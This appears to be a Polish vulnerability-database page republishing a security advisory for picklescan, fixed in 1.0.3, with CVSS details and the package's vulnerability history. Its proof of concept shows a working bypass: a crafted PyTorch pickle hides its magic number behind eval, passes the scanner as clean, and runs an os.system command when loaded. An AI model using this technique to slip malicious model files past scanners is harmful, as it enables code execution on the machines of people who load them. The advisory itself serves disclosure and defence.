Wysoka

Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER

  • Ujawniono: 18.02.2026
  • Aktualizacja: 11.10.2026 14:18

Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

python
    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

python
import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

python
import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) picklescan < 1.0.3 1.0.3

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-184
Platforma
Python (PyPI)
Paczka
picklescan
Ujawniono
18.02.2026
Aktualizacja
11.10.2026 14:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2873 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-97f8-7cmv-76j2 - CC BY 4.0

Historia podatności: picklescan

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (58) w archiwum
Wszystkich wpisów
58
Pierwsza → ostatnia
02.2025 03.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 7
  • Wysoka 25
  • Średnia 26

Ujawnienia w latach

  1. 2025: 51
  2. 2026: 7
Istotność:
  1. Krytyczna · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. Krytyczna · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. Krytyczna · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER ten wpis
    Wysoka CVE-2026-53875 < 1.0.3 1.0.3
  5. Wysoka · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  6. Wysoka · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  7. Wysoka ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  8. Wysoka CVE-2025-71320 < 0.0.33 0.0.33
  9. Wysoka · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  10. Wysoka CVE-2025-71321 < 0.0.33 0.0.33
  11. Krytyczna · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Pokaż więcej (12) Widać 20 z 32

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.